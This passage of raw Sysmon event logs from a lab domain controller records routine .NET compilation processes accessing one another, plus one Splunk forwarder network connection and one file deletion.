4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.696{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B60A-00000000F001}5976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.680{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B60A-00000000F001}5976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.680{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B60A-00000000F001}5976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000045674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.468{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59269-false10.0.1.12-8000- 10341000x800000000000000045673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.633{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B50A-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.617{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B50A-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.617{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B50A-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.555{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B40A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.555{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B40A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.555{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B40A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.493{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B30A-00000000F001}6708C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.477{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B30A-00000000F001}6708C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.477{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B30A-00000000F001}6708C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.367{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B20A-00000000F001}7140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.367{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9EA79F40F07E709733FE92F5D877DE0,SHA256=CE20260070948CD6CDE368AC5FBB3EE25CB7662BEB4507B972CF53D148A7F893,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.336{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B20A-00000000F001}7140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.336{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B20A-00000000F001}7140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.227{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B10A-00000000F001}5208C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.197{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B10A-00000000F001}5208C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.197{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B10A-00000000F001}5208C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.149{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-B00A-00000000F001}5092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.133{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-B00A-00000000F001}5092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.133{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-B00A-00000000F001}5092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F88-613B-AF0A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.071{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F88-613B-AF0A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 